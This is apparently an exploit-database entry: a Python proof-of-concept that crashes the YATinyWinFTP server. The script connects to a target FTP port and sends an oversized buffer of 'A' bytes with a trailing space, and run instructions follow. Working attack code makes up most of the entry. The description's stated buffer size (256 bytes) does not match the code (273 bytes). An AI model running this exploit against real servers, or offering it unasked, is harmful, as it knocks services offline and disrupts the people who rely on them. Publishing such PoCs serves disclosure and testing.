YATinyWinFTP Denial Of Service

`# Exploit Title: YATinyWinFTP - Denial of Service (PoC)  
# Google Dork: None  
# Date: 20.08.2020  
# Exploit Author: strider  
# Vendor Homepage: https://github.com/ik80/YATinyWinFTP  
# Software Link: https://github.com/ik80/YATinyWinFTP  
# Tested on: Windows 10  
  
------------------------------[Description]---------------------------------  
  
This Eyxploit connects to the FTP-Service and sends a command which has a size of 256bytes with an trailing space at the end.  
The result it crashes  
  
-----------------------------[Exploit]---------------------------------------------  
  
#!/usr/bin/env python3  
# -*- coding:utf-8 -*-  
  
import socket, sys  
  
target = (sys.argv[1], int(sys.argv[2]))  
buffer = b'A' * 272 + b'\x20'  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(target)  
print(s.recv(1024))  
s.send(buffer)  
s.close()  
  
-----------------------------[how to run]-----------------------------  
  
C:\> TinyWinFTP.exe servepath port  
  
~$ python3 exploit.py targetip port  
  
Boom!  
`